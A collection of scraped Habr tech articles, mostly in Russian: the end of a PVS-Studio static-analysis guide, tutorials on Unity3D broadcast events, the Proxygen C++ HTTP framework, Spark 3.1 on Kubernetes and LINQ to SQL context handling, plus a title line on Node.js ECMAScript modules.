See the [documentation](https://www.viva64.com/en/m/0035/) for details on the utility and its parameters.
Suppressing false positives
---------------------------
The analyzer provides a variety of means to suppress false positives. They are described in detail in the following sections:
* [Fine tuning](https://www.viva64.com/en/m/0017/).
* [Mass suppression](https://www.viva64.com/en/m/0032/), which is especially useful when you want to suppress only those warnings that refer to new or modified code.
Sample warning
--------------
Let's take a look at an example of a warning issued by the analyzer. The following code snippet is taken from the ReactOS project:
```
VOID NTAPI
AtapiDmaInit(....)
{
....
ULONG treg = 0x54 + (dev < 3) ? (dev << 1) : 7;
....
}
```
PVS-Studio's diagnostic message: V502 Perhaps the '?:' operator works in a different way than it was expected. The '?:' operator has a lower priority than the '+' operator. uniata id\_dma.cpp 1610
The *0x54 + (dev < 3)* expression will always evaluate to *true*: the non-null constant *0x54* is first added to the result of the *(dev < 3)* expression, which can evaluate either to 0 or 1, and only then is the resulting value compared with zero.
This is what the correct version looks like:
```
VOID NTAPI
AtapiDmaInit(....)
{
....
ULONG treg = 0x54 + ((dev < 3) ? (dev << 1) : 7);
....
}
```
We have solved the issue by enclosing the *'?:'* operation in parentheses so that its result will now depend on the result of the *(dev < 3)* expression.
Conclusion
----------
That was a brief introduction into getting started with PVS-Studio for Visual C++. It doesn't cover all of the aspects, of course, so welcome to our [blog](https://www.viva64.com/en/b/), where we explain in detail how to work with the analyzer, and see the [documentation](https://www.viva64.com/en/m/) for complete descriptions of the diagnostic messages and tool's settings. | https://habr.com/ru/post/461007/ | null | en | null |
# Broadcast Event Messaging в Unity3D
При разработке игр, довольно часто возникает необходимость в построении системы широковещательной рассылки сообщений. Предположим, Вы хотите сделать так, чтобы в тот момент когда персонаж, управляемый игроком, вошел в определенную зону, или выполнил определенное действие, все заинтересованные в этом объекты получили уведомление. По возможности это уведомление должно нести в себе информацию о произошедшем событии. В данной статье, я предлагаю Вашему вниманию один из возможных способов построения подобной системы. Приведенная система построена на базе **Unity3D EventSystem**.
Начиная с версии 4.6 в состав Unity3D включена **UI System**, значительно упрощающая процесс создания UI. К тому же она является Open Source проектом. В основе этой системы лежат два очень важных компонента — **EventSystem** и **InputModules**, позволяющие принимать и обрабатывать события. По сути, **InputModules** — это обычные компоненты. Они являются наследниками **UIBehaviour** который в свою очередь наследует **MonoBehaviour** и содержат в себе логику обработки событий, поступающих от EventSystem.
Отправка события определенному **GameObject** осуществляется посредством вызова метода **ExecuteEvents.Execute()**. Определение метода имеет следующий вид:
```
public static bool Execute(GameObject target, BaseEventData data, EventFunction functor) where T : IEventSystemHandler;
```
Вызывая этот метод, в качестве параметров Вы должны передать ссылку на **GameObject** в списке ассоциированных компонентов которого, должен присутствовать **InpuModule** реализующий интерфейс **T** либо интерфейс-наследник **T**. Если таких компонентов окажется несколько, все они будут вызваны по очереди.
Как видно, для отправки события необходимо иметь ссылку на целевой **GameObject**, что не подходит для широковещательной рассылки.
Решением этой проблемы может послужить коллекция содержащая список GameObjects с прикрепленными InputModules способными обрабатывать широковещательные события.
```
public abstract class BroadcastInputModule : BaseInputModule
where TEventType : IEventSystemHandler
{
protected override void Awake()
{
base.Awake();
BroadcastReceivers.RegisterBroadcastReceiver(gameObject);
}
protected override void OnDestroy()
{
base.OnDestroy();
BroadcastReceivers.UnregisterBroadcastReceiver(gameObject);
}
}
```
Класс **BroadcastInputModule** служит базовым для модулей обработчиков широковещательных событий. Его основной задачей является регистрация модуля в этой коллекции.
Давайте перейдем к созданию модуля, который будет реагировать на глобальное событие, которое условно назовём "*SomethingHappened*".
```
[AddComponentMenu("Event/Something Happened Input Module")]
public class SomethingHappenedInputModule
: BroadcastInputModule, ISomethingHappenedEventHandler
{
public void OnSomethigHappened(SomethingHappenedEventData data)
{
Debug.Log("SomethingHappenedInputModule::OnSomethigHappened()");
}
public override void Process()
{
}
}
```
Этот компонент должен быть добавлен ко всем GameObjects заинтересованным в получении события *SomethingHappened*. Интерфейс **ISomethingHappenedEventHandler** выглядит следующим образом:
```
public interface ISomethingHappenedEventHandler : IEventSystemHandler
{
void OnSomethigHappened(SomethingHappenedEventData data);
}
```
Коллекция хранящая обработчики может быть довольно простой, например такой:
```
public static class BroadcastReceivers
{
private static readonly IDictionary>
BroadcstReceivers = new Dictionary>();
public static IList GetHandlersForEvent()
where TEventType : IEventSystemHandler
{
if (!BroadcstReceivers.ContainsKey(typeof (TEventType)))
{
return null;
}
return BroadcstReceivers[typeof (TEventType)];
}
public static void RegisterBroadcastReceiver(GameObject go)
where TEventType : IEventSystemHandler
{
if (BroadcstReceivers.ContainsKey(typeof(TEventType)))
{
BroadcstReceivers[typeof(TEventType)].Add(go);
}
else
{
BroadcstReceivers.Add(typeof(TEventType), new List());
BroadcstReceivers[typeof(TEventType)].Add(go);
}
}
public static void UnregisterBroadcastReceiver(GameObject go)
{ . . . }
}
```
В реальной игре, возможно, эта коллекция должна содержать WeakReferences вместо прямых ссылок на GameObjects, это уже зависит от требований.
Последним элементом является класс **BroadcastExecuteEvents**:
```
public static class BroadcastExecuteEvents
{
public static void Execute(BaseEventData eventData, ExecuteEvents.EventFunction functor)
where T : IEventSystemHandler
{
var handlers = BroadcastReceivers.GetHandlersForEvent();
if (handlers == null) return;
foreach (var handler in handlers)
{
ExecuteEvents.Execute(handler, eventData, functor);
}
}
}
```
Как видно из его определения, он является всего лишь обёрткой над **ExecuteEvents** и выполняет всего одну задачу — выбор подходящих обработчиков для указанного события и их вызов.
Теперь произвести широковещательную посылку события можно так:
```
BroadcastExecuteEvents.Execute(null, (i, d) => i.OnSomethigHappened(new SomethingHappenedEventData()));
```
Исходный код к статье можно забрать с [github.com/rumyancevpavel/BroadcastMessaging](https://github.com/rumyancevpavel/BroadcastMessaging) | https://habr.com/ru/post/254239/ | null | ru | null |
# Proxygen — HTTP-фреймворк для С++ от Facebook
[Proxygen](https://github.com/facebook/proxygen) — это коллекция библиотек для использования протокола HTTP на С++, включающая в числе прочего очень простой в использовании HTTP-сервер. Кроме классического HTTP/1.1 фреймворк Proxygen поддерживает [SPDY/3](http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft3) и [SPDY/3.1](http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft3-1). Вскоре также будет полностью поддерживаться HTTP/2.
Proxygen не задумывался как замена Apache или nginx — эти проекты сфокусированы на создании достаточно гибких и конфигурируемых веб-серверов, позволяющих благодаря тонкой настройке добиться максимальной производительности. Задачей Proxygen является работать достаточно хорошо на дефолтных настройках, давая программисту простые в использовании веб-сервер и веб-клиент, легко интегрирующиеся в уже существующие проекты. Мы хотим помочь людям строить веб-сервисы на С++ с меньшими затратами и мы верим, что Proxygen — отличный фреймворк для этого. Вы можете почитать документацию по нему и подключиться к разработке на [Github](https://github.com/facebook/proxygen).
#### Предыстория
Proxygen начинался как проект по созданию настраиваемого высокопроизводительного обратного прокси с функцией балансировки нагрузки около четырёх лет назад. Мы планировали, что Proxygen станет библиотекой для генерации прокси-серверов (вы небось уже догадались об этом из самого названия Proxygen). Но с тех пор он серьёзно эволюционировал. Мы осознаём, что уже существует приличное количество программ, решающих подобные задачи (Apache, nginx, HAProxy, Varnish, etc), тем ни менее, мы решили пойти своим путём.
##### Почему мы создали свой собственный HTTP-стек?
###### **Интеграция**
Возможность быстро и легко интегрироватьcя в существующую инфраструктуру Facebook была критически важной. Например, возможность администрировать нашу HTTP-инфраструктуру с такими инструментами как [Thrift](https://code.facebook.com/projects/1410559149202582/fbthrift/) упрощает интеграцию с существующими системами. Возможность легко отслеживать и измерять производительность Proxygen с помощью таких систем как [ODS](http://strataconf.com/stratany2012/public/schedule/detail/25540) (наше внутреннее средство мониторинга) даёт возможность быстро реагировать на новые данные и модифицировать продукт. Создание собстенного HTTP-стека дало нам возможность более тесно взаимодействовать с нужными нам системами и компонентами.
###### **Переиспользоавние кода**
Мы хотели создать фундамент для построения сетевых компонентов для всех наших проектов. В данный момент более дюжины наших внутренних систем построены с использованием Proxygen, включая части таких систем как [Haystack](https://code.facebook.com/posts/685565858139515/needle-in-a-haystack-efficient-storage-of-billions-of-photos/), [HHVM](https://code.facebook.com/projects/564433143613123/hhvm/), наши балансировщики HTTP-трафика, кое-какие части нашей мобильной инфраструктуры. Proxygen представляет собой платформу, где мы можем, например, работать над поддержкой протокола HTTP/2 и как только он будет полностью готов — получить его поддержку во всех наших продуктах.
###### **Масштабируемость**
Мы честно пытались брать уже существующие продукты и масштабировать их на всю нашу инфраструктуру. С некоторыми это даже получалось, кое-какие варианты проработали достаточно долго. Но в какой-то момент оказывалось, что используемый продукт больше не в состоянии угнаться за ростом наших мощностей.
###### **Функционал**
Некоторое количество фич на момент начала написания Proxygen отсутствовало в других аналогичных проектах (а в некоторых отсутствует и сейчас). Часть из этих возможностей для нас очень полезны: SPDY, WebSockets, HTTP/1.1 (keep-alive), TLS-фальстарт, кое-какие особенности распределения нагрузки. Построение собственного HTTP-стека развязало нам руки в плане реализации этого функционала.
Изначально запущенный в 2011 году несколькими нашими инженерами, стремившимися сделать использование HTTP-протокола более эффективным, Proxygen разрабатывался командой из 3-4 основных разработчиков и дюжиной внутренних контрибьютеров. Основные вехи проекта:
* 2011 — Начало разработки Proxygen. В том же году проект начал обрабатывать часть реального траффика Facebook.
* 2012 — Добавление поддержки SPDY/2.
* 2013 — Выход в продакшн SPDY/3, начало работы над SPDY/3.1
* 2014 — Выход в продакшн SPDY/3.1, начало работы над HTTP/2
Есть ещё некоторое количество важных моментов в разработке, но мы думаем, что [код](https://github.com/facebook/proxygen) расскажет эту историю лучше нас.
В данный момент у нас есть уже несколько лет опыта использования Proxygen. Библиотека обработала уже триллионы HTTP(S) и SPDY-запросов. Мы считаем, что уже достигли того этапа, когда этим проектом не стыдно поделиться с сообществом.
#### Архитектура
Ядро HTTP-слоя разделено на четыре абстракции: сессия, кодек, транзакция и обработчик. Для каждого соединения создаётся сессия. Каждая сессия имеет кодек, отвечающий за сериализацию и десериализацию фреймов на HTTP-сообщения. Сессия отвечает за направление каждого сообщения от кодека в определённую транзакцию. Пользователь библиотеки отвечает за написание обработчиков приходящих в транзакцию сообщений. Этот дизайн позволяет нам поддерживать новые мультиплексируемые протоколы, такие как SPDY и HTTP/2.
Proxygen активно использует возможности последнего стандарта С++ и зависит от [Thrift](https://code.facebook.com/projects/1410559149202582/fbthrift/) и [Folly](https://code.facebook.com/projects/527543867323997/folly/). Мы использовали семантику перемещения для избежания затрат на копирование больших объектов вроде буферов тела и заголовков запросов и ответов. Кроме того, используя под капотом неблокируемый ввод-вывод и линуксовый epoll мы создали сервер эффективный как по использованию памяти, так и по затратам процессорного времени.
#### HTTP-сервер
Пример сервера, который мы [включили в релиз](https://github.com/facebook/proxygen/blob/master/proxygen/httpserver/samples/echo/EchoServer.cpp) — хорошая стартовая точка, если вы хотите начать с простого, работающиего из коробки, асинхронного костяка сервера.
**EchoServer.cpp**
```
/*
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#include "EchoHandler.h"
#include "EchoStats.h"
#include "proxygen/httpserver/HTTPServer.h"
#include "proxygen/httpserver/RequestHandlerFactory.h"
#include
#include
#include
#include
using namespace EchoService;
using namespace proxygen;
using folly::EventBase;
using folly::EventBaseManager;
using folly::SocketAddress;
using Protocol = HTTPServer::Protocol;
DEFINE\_int32(http\_port, 11000, "Port to listen on with HTTP protocol");
DEFINE\_int32(spdy\_port, 11001, "Port to listen on with SPDY protocol");
DEFINE\_int32(thrift\_port, 10000, "Port to listen on for thrift");
DEFINE\_string(ip, "localhost", "IP/Hostname to bind to");
DEFINE\_int32(threads, 0, "Number of threads to listen on. Numbers <= 0 "
"will use the number of cores on this machine.");
class EchoHandlerFactory : public RequestHandlerFactory {
public:
void onServerStart() noexcept override {
stats\_.reset(new EchoStats);
}
void onServerStop() noexcept override {
stats\_.reset();
}
RequestHandler\* onRequest(RequestHandler\*, HTTPMessage\*) noexcept override {
return new EchoHandler(stats\_.get());
}
private:
folly::ThreadLocalPtr stats\_;
};
int main(int argc, char\* argv[]) {
gflags::ParseCommandLineFlags(&argc, &argv, true);
google::InitGoogleLogging(argv[0]);
google::InstallFailureSignalHandler();
std::vector IPs = {
{SocketAddress(FLAGS\_ip, FLAGS\_http\_port, true), Protocol::HTTP},
{SocketAddress(FLAGS\_ip, FLAGS\_spdy\_port, true), Protocol::SPDY},
};
if (FLAGS\_threads <= 0) {
FLAGS\_threads = sysconf(\_SC\_NPROCESSORS\_ONLN);
CHECK(FLAGS\_threads > 0);
}
HTTPServerOptions options;
options.threads = static\_cast(FLAGS\_threads);
options.idleTimeout = std::chrono::milliseconds(60000);
options.shutdownOn = {SIGINT, SIGTERM};
options.handlerFactories = RequestHandlerChain()
.addThen()
.build();
HTTPServer server(std::move(options));
server.bind(IPs);
// Start HTTPServer mainloop in a separate thread
std::thread t([&] () {
server.start();
});
t.join();
return 0;
}
```
**EchoHandler.cpp**
```
/*
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
#include "EchoHandler.h"
#include "EchoStats.h"
#include "proxygen/httpserver/RequestHandler.h"
#include "proxygen/httpserver/ResponseBuilder.h"
using namespace proxygen;
namespace EchoService {
EchoHandler::EchoHandler(EchoStats* stats): stats_(stats) {
}
void EchoHandler::onRequest(std::unique_ptr headers) noexcept {
stats\_->recordRequest();
}
void EchoHandler::onBody(std::unique\_ptr body) noexcept {
if (body\_) {
body\_->prependChain(std::move(body));
} else {
body\_ = std::move(body);
}
}
void EchoHandler::onEOM() noexcept {
ResponseBuilder(downstream\_)
.status(200, "OK")
.header("Request-Number",
folly::to(stats\_->getRequestCount()))
.body(std::move(body\_))
.sendWithEOM();
}
void EchoHandler::onUpgrade(UpgradeProtocol protocol) noexcept {
// handler doesn't support upgrades
}
void EchoHandler::requestComplete() noexcept {
delete this;
}
void EchoHandler::onError(ProxygenError err) noexcept {
delete this;
}
}
```
Мы провели бенчмарк нашего эхо-сервера на компьютере с 32 логическими ядрами Intel® Xeon® CPU E5-2670 @ 2.60GHz и 16 GiB памяти, варируя количество рабочих потоков от одного до восьми. Мы запускали клиент на той же машине, дабы избежать сетевых задержек и вот что мы получили:
# Параметры настройки клиента:
# На каждый рабочий поток сервера по 2 клиента
# 400 одновременно открытых соединений
# 100 запросов на соединение
# 60 секунд тестирования
# В результатах указано среднее значение по результатам 10 тестов
# простой GET, 245 байт заголовков запроса, 600 байт ответа (без сохранения на диск)
# SPDY/3.1 позволяет до 10 параллельных запросов на соединение
Хотя сам по себе эхо-сервер достаточно примитивная штука по сравнению с настоящим веб-сервером, этот бенчмарк всё же показывает насколько эффективно Proxygen работает со SPDY и HTTP/2. HTTP-сервер из комплекта Proxygen легко использовать и он сразу работает достаточно производительно, хотя мы больше фокусировались на простоте применения, чем на максимально возможной скорости работы. К примеру, [модель фильтров](https://github.com/facebook/proxygen/tree/master/proxygen/httpserver/filters) в сервере даёт вам возможность обрабатывать некоторые общие блоки данных по определённых для них алгоритмам, причём таким образом, что каждый отдельный блок кода алгоритма легко поддаётся юнит тестерованию. С другой стороны, необходимость аллокация памяти, связанная с этой моделью фильтров не идеальна для высокопроизводительных приложений.
#### Влияние
Proxygen позволяет нам быстро реализовать нужный функционал, выпустить его в продакшн и сразу получить результат. К примеру, нам было интересно оценить формат сжатия заголовков запросов [HPACK](http://http2.github.io/http2-spec/compression.html), но к сожалению у нас не было ни клиентов HTTP/2, ни серверов, да и вообще спецификация HTTP/2 сама по себе всё ещё в процессе разработки. Proxygen позволил нам реализовать HPACK, попробовать использовать его поверх SPDY и выкатить релиз одновременно на наши сервера и мобильные клиенты. Возможность оперативно экспериментировать с реальным трафиком в формате HPACK дало нам возможность понять его реальную производительность и оценить выгоды от его использования.
#### Открытый код
Кодовая база Proxygen находится в состоянии активной разработки и будет продолжать эволюционировать. Если вам нравится протокол HTTP, высокопроизводительный сетевой код, современный С++, мы будем рады поработать с вами! Пожалуйста, не стесняйтесь присылать пулреквесты на [Github](https://github.com/facebook/proxygen).
Мы активно участвуем в разработке открытых проектов и всегда ищем возможность поделиться своим кодом с сообществом. Команда разработки сетевой инфраструктуры уже выложила в опенсор [Thrift](https://code.facebook.com/projects/1410559149202582/fbthrift/) и [Proxygen](https://code.facebook.com/projects/676603015770415/) — два важных сетевых компонента Facebook. Мы надеемся, что они найдут своё применения и в других проектах.
*Спасибо всем инженерам, поучаствовашим в разработке данного проекта: Ajit Banerjee, David Gadling, Claudiu Gheorghe, Rajat Goel, Peter Griess, Martin Lau, Adam Lazur, Noam Lerner, Xu Ning, Brian Pane, Praveen Kumar Ramakrishnan, Adam Simpkins, Viswanath Sivakumar и Woo Xie.* | https://habr.com/ru/post/243181/ | null | ru | null |
# Apache Spark 3.1: Spark on Kubernetes теперь общедоступен
С выходом [Apache Spark](https://www.datamechanics.co/apache-spark) 3.1 в марте 2021-го проект [Spark on Kubernetes](https://www.datamechanics.co/spark-on-kubernetes) официально перешел в статус общедоступного и готового к эксплуатации. Это стало результатом трехлетней работы быстрорастущего сообщества, участники которого помогали в разработке и внедрении (изначально поддержка Spark on Kubernetes появилась в Spark 2.3 в феврале 2018 года). Команда [Kubernetes aaS от Mail.ru Cloud Solutions](https://mcs.mail.ru/containers/) перевела самое важное из статьи об основных возможностях Spark 3.1, в которой автор подробно остановился на улучшениях в Spark on Kubernetes.
Полезные источники информации:
* Введение в использование Kubernetes в качестве менеджера ресурсов для Spark (вместо YARN): [Pros & Cons of Running Spark on Kubernetes](https://www.datamechanics.co/blog-post/pros-and-cons-of-running-apache-spark-on-kubernetes).
* Техническое руководство по успешной работе со Spark on Kubernetes: [Setting Up, Managing & Monitoring Spark on Kubernetes](https://www.datamechanics.co/blog-post/setting-up-managing-monitoring-spark-on-kubernetes).
* Про Data Mechanics: [Spark on Kubernetes Made Easy: How Data Mechanics Improves On The Open-Source Version](https://www.datamechanics.co/blog-post/spark-on-kubernetes-made-easy-how-data-mechanics-improves-on-spark-on-k8s-open-source).
Путь Spark on Kubernetes: от бета-поддержки в 2.3 до нового стандарта в 3.1
---------------------------------------------------------------------------
С выходом Spark 2.3 в начале 2018 года Kubernetes стал новым диспетчером для Spark (помимо YARN, Mesos и автономного режима) в крупных компаниях, возглавляющих проект: RedHat, Palantir, Google, Bloomberg и Lyft. Сначала поддержка имела статус экспериментальной, функций было мало, стабильность и производительность были невысокими.
С тех пор сообщество проекта получило поддержку многочисленных крупных и маленьких компаний, которых заинтересовали преимущества Kubernetes:
1. Нативная контейнеризация. Упаковывайте зависимости (и сам Spark) с помощью [Docker](https://www.datamechanics.co/blog-post/spark-and-docker-your-spark-development-cycle-just-got-ten-times-faster).
2. Эффективное совместное использование ресурсов и ускорение запуска приложений.
3. Обширная Open Source-экосистема уменьшает зависимость от облачных провайдеров и вендоров.
В проект было внесено несколько нововведений: от базовых требований вроде поддержки PySpark и R, клиентского режима и монтирования томов в версии 2.4 до мощных оптимизаций вроде динамического выделения (в 3.0) и улучшения обработки выключения нод (в 3.1). За последние три года вышло больше 500 патчей, сильно повысивших надежность и производительность Spark on Kubernetes.
*График внесения улучшений в Spark с 2018 по 2021 годы*
В результате в новых Spark-проектах в 2021 году Kubernetes все чаще рассматривается в роли стандартного менеджера ресурсов: это следует из популярности Open Source-проекта [оператора Spark on Kubernetes](https://github.com/GoogleCloudPlatform/spark-on-k8s-operator) и объявлений крупных вендоров, внедряющих Kubernetes вместо Hadoop YARN.
С выходом Spark 3.1 проект Spark on Kubernetes получил статус общедоступного и готового к эксплуатации. В этом релизе было внесено больше [70 исправлений и улучшений производительности](https://issues.apache.org/jira/browse/SPARK-33005). Давайте рассмотрим самые важные функции, которых с нетерпением ждали заказчики.
Улучшенная обработка выключения нод: постепенное отключение исполнителя (новая функция в Spark 3.1)
---------------------------------------------------------------------------------------------------
Эту функцию ([SPARK-20624](https://issues.apache.org/jira/browse/SPARK-20624)) реализовал [Holden Karau](https://www.twitch.tv/holdenkarau), и пока что она доступна только для автономных развертываний и в Kubernetes. Называется функция «улучшенная обработка выключения нод», хотя еще одно подходящее название — «постепенное отключение исполнителя» (Graceful Executor Decommissioning).
Эта функция повышает надежность и производительность Spark при использовании Spot-нод (вытесняемые ноды в GCP). Перед остановкой спота с него перемещаются shuffle-данные и содержимое кэша, поэтому влияние на работу Spark-приложения оказывается минимальное. Раньше, когда система убивала спот, все shuffle-файлы терялись, поэтому их приходилось вычислять заново (снова выполнять потенциально очень долгие задачи). Новая фича не требует настройки внешнего shuffle-сервиса, для которого нужно по запросу запускать дорогие ноды хранения и который совместим с Kubernetes.
*Новая функция Spark предотвращает внезапное уничтожение спотов и постепенно выключает исполнитель без потери драгоценных данных!*
**Что делает эта функция?**
* Исполнитель, который нужно выключить, вносится в черный список: драйвер Spark не будет назначать ему новые задачи. Те задачи, которые сейчас исполняются, не будут принудительно прерваны, но если они сбоят из-за остановки исполнителя, то перезапустятся в другом исполнителе, как и сейчас, а их сбой не будет учитываться в максимальном количестве сбоев (новинка).
* Shuffle-файлы и кэшированные данные мигрируют из выключаемого исполнителя в другой. Если другого нет, например, мы выключаем единственный исполнитель, то можно настроить объектное хранилище (вроде S3) в качестве [запасного](https://github.com/apache/spark/blob/2e31e2c5f30742c312767f26b17396c4ecfbef72/core/src/main/scala/org/apache/spark/internal/config/package.scala#L474).
* После завершения миграции исполнитель умирает, а Spark-приложение продолжает работать как ни в чем не бывало.
**Когда работает эта функция?**
* При использовании Spot / вытесняемых нод облачный провайдер уведомляет о выключении за 60–120 секунд. Spark может использовать это время для сохранения важных shuffle-файлов. Этот механизм используется и в тех случаях, когда экземпляр на стороне провайдера по каким-то причинам выключают, допустим, при [обслуживании EC2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-instances-status-check_sched.html).
* Когда нода Kubernetes пустеет, например для технического обслуживания, или когда вытесняется под исполнителя Spark, например более высокоприоритетным подом.
* Когда убранный исполнитель является частью динамического выделения при уменьшении размера системы из-за простоя исполнителя. В этом случае тоже будут сохранены кэш и shuffle-файлы.
**Как включить функцию?**
* С помощью конфигурационных флагов. Нужно включить четыре основных флага Spark:
+ spark.decommission.enabled;
+ spark.storage.decommission.rddBlocks.enabled;
+ spark.storage.decommission.shuffleBlocks.enabled;
+ spark.storage.decommission.enabled.
Другие доступные настройки рекомендую поискать прямо в [исходном коде](https://github.com/apache/spark/blob/2e31e2c5f30742c312767f26b17396c4ecfbef72/core/src/main/scala/org/apache/spark/internal/config/package.scala#L1954).
* Для получения предупреждения от облачного провайдера о скором отключении ноды, например из-за выключения спота, нужна специфическая интеграция.
Новые опции с томами в Spark on Kubernetes
------------------------------------------
Начиная со Spark 2.4 при использовании Spark on Kubernetes можно монтировать три типа томов:
1. [emptyDir](https://kubernetes.io/docs/concepts/storage/volumes/#emptydir): изначально пустая директория, существующая, пока работает под. Полезна для временного хранения. Можно поддерживать ее с помощью диска ноды, SSD или сетевого хранилища.
2. [hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath): в ваш под монтируется директория прямо из текущей ноды.
3. Заранее статически создаваемый [PersistentVolumeClaim](https://kubernetes.io/docs/concepts/storage/persistent-volumes/). Это Kubernetes-абстракция для разных типов персистентного хранилища. Пользователь должен создать PersistentVolumeClaim заранее, существование тома не привязано к поду.
В Spark 3.1 появилось два новых варианта: NFS и динамически создаваемый PersistentVolumeClaims.
[NFS](https://kubernetes.io/docs/concepts/storage/volumes/#nfs) — это том, который могут одновременно использовать несколько подов и который можно заранее наполнить данными. Это один из способов обмена информацией, кодом и конфигурациями между Spark-приложениями либо между драйвером и исполнителем внутри какого-нибудь Spark-приложения. В Kubernetes нет NFS-сервера, вы можете запустить его самостоятельно или использовать облачный сервис.
После создания NFS вы можете легко монтировать этот том в Spark-приложение с помощью таких настроек:
```
spark.kubernetes.driver.volumes.nfs.myshare.mount.path=/shared
spark.kubernetes.driver.volumes.nfs.myshare.mount.readOnly=false
spark.kubernetes.driver.volumes.nfs.myshare.options.server=nfs.example.com
spark.kubernetes.driver.volumes.nfs.myshare.options.path=/storage/shared
```
*NFS (Network File System) — популярный способ обмена данными между любыми Spark-приложениями. Теперь он работает и поверх Kubernetes*
Второй новый вариант — **динамический PVC**. Это более удобный способ использования [персистентных томов](https://kubernetes.io/docs/concepts/storage/persistent-volumes/). Раньше нужно было сначала создавать PVC, а затем монтировать их. Но при использовании динамического выделения вы не знаете, сколько можно создать исполнителей в ходе работы вашего приложения, поэтому старый способ был неудобен. К тому же приходилось самостоятельно вычищать ненужные PersistentVolumeClaims либо смиряться с потерей места в хранилище.
Со Spark 3.1 все стало динамическим и автоматизированным. Когда вы инициализируете Spark-приложение или в ходе динамического выделения запрашиваете новые исполнители, в Kubernetes динамически создается PersistentVolumeClaims, который автоматически предоставляет новый PersistentVolumes запрошенного вами [класса хранилища](https://kubernetes.io/docs/concepts/storage/storage-classes/). При удалении пода ассоциированные с ним ресурсы автоматически удаляются.
Другие функции Spark 3.1: PySpark UX, стейджинговая диспетчеризация, повышение производительности
-------------------------------------------------------------------------------------------------
В Spark 3.1 появилось два крупных улучшения в UX для разработчиков на PySpark:
* [Документация](https://spark.apache.org/docs/latest/api/python/index.html) PySpark полностью переделана, теперь она больше соответствует Python и удобна для использования.
* Теперь поддерживаются подсказки типов: получение в IDE бесплатного автозавершения кода и обнаружения статических ошибок.
*Автозавершение кода в PySpark с выходом Apache Spark 3.1*
Spark History Server, который отображает интерфейс Spark после завершения вашего приложения, теперь может показывать статистику выполненных вами запросов на Structured Streaming.
Стейджинговая диспетчеризация ([SPARK-27495](https://issues.apache.org/jira/browse/SPARK-27495)) применима только для YARN- и Kubernetes-развертываний при включенном динамическом выделении. Она позволяет вам управлять в коде количеством и типом запрашиваемых для исполнителя ресурсов с точностью на уровне стадий. В частности, вы можете настроить приложение под использование исполнителей с процессорными ресурсами в ходе первой стадии (например, при выполнении ETL или подготовке данных), а в ходе второй стадии — на использование видеокарт (скажем, для моделей машинного обучения).
В Spark 3.1 улучшили производительность shuffle хеш-соединения, добавили новые правила для прерывания подвыражений и в оптимизатор Catalyst. Для пользователей PySpark будет полезно то, что в Spark теперь применяется колоночный формат in-memory хранения [Apache Arrow](https://arrow.apache.org/overview/) 2.0.0 вместо 1.0.2. Это повысит скорость работы приложений, особенно если вам нужно преобразовывать данные между Spark и фреймами данных Pandas. Причем все эти улучшения производительности не потребуют от вас менять код или конфигурацию.
> Новым пользователям платформы мы [дарим 3000 бонусов](https://mcs.mail.ru/containers/#support) после полной верификации аккаунта. Вы сможете попробовать Kubernetes aaS или другие наши сервисы на реальных проектах.
Что еще почитать по теме:
1. [Как и зачем разворачивать приложение на Apache Spark в Kubernetes](https://mcs.mail.ru/blog/razvorachivanie-prilozhenie-na-apache-spark-v-kubernetes).
2. [Наш телеграм-канал «Вокруг Kubernetes в Mail.ru Group»](https://t.me/k8s_mail).
3. [MLOps без боли в облаке: как развернуть Kubeflow в production-кластере Kubernetes](https://mcs.mail.ru/blog/razvernutyvanie-kubeflow-v-prodakshen-klastere-kubernetes). | https://habr.com/ru/post/552370/ | null | ru | null |
# Ошибки LINQ to SQL на сайтах при нагрузке (> 30 пользователей)
Совсем недавно начал использовать LINQ to SQL и при нагрузках на сайт стал замечать такого рода ошибки,
при чем появляются в стиле корейского Random-а:
вариант 1) InvalidCastException
вариант 2) DataReader is closed
вариант 3) SQL Server также генерирует ошибку связаную с MARS и рвет соединение
Как обычно выглядел класс с работой с LINQ:
> `using System.Linq;
>
> using Kushatpodano.Ru.Models;
>
>
>
> namespace Kushatpodano.Ru.Classes.BusinessLayer
>
> {
>
> public class CustomPages
>
> {
>
> private readonly KushDBDataContext context = new KushDBDataContext();
>
>
>
> public static string PageText(string ActionResult)
>
> {
>
> return (from p in context.CustomPages
>
> where p.ActionResult == ActionResult
>
> select p).Single().PageText;
>
> }
>
>
>
> public static string PageTitle(string ActionResult)
>
> {
>
> return (from p in context.CustomPages
>
> where p.ActionResult == ActionResult
>
> select p).Single().PageTitle;
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Поиск по данным ошибкам в гугле практически ничего не давал, но вчера наткнулся на очередную тему на форуме с данной ошибкой, где было написано как ее обошли, после переписывания классов именно так — нагрузку перестал держать сам хостер, но LINQ держался молодцом:
> `using System.Linq;
>
> using Kushatpodano.Ru.Models;
>
>
>
> namespace Kushatpodano.Ru.Classes.BusinessLayer
>
> {
>
> public class CustomPages
>
> {
>
> public static string PageText(string ActionResult)
>
> {
>
> string PageText;
>
> using (KushDBDataContext context = new KushDBDataContext())
>
> {
>
> PageText = (from p in context.CustomPages
>
> where p.ActionResult == ActionResult
>
> select p).Single().PageText;
>
> }
>
>
>
> return PageText;
>
> }
>
>
>
> public static string PageTitle(string ActionResult)
>
> {
>
> string PageTitle;
>
> using (KushDBDataContext context = new KushDBDataContext())
>
> {
>
> PageTitle = (from p in context.CustomPages
>
> where p.ActionResult == ActionResult
>
> select p).Single().PageTitle;
>
> }
>
>
>
> return PageTitle;
>
> }
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
На кажый блок обращений должен создаваться новый контекст и уничтожаться,
как в случае когда мы работаем с обычным SqlConnection. | https://habr.com/ru/post/67207/ | null | ru | null |
# Анонсируем поддержку ECMAScript модулей в Node.js
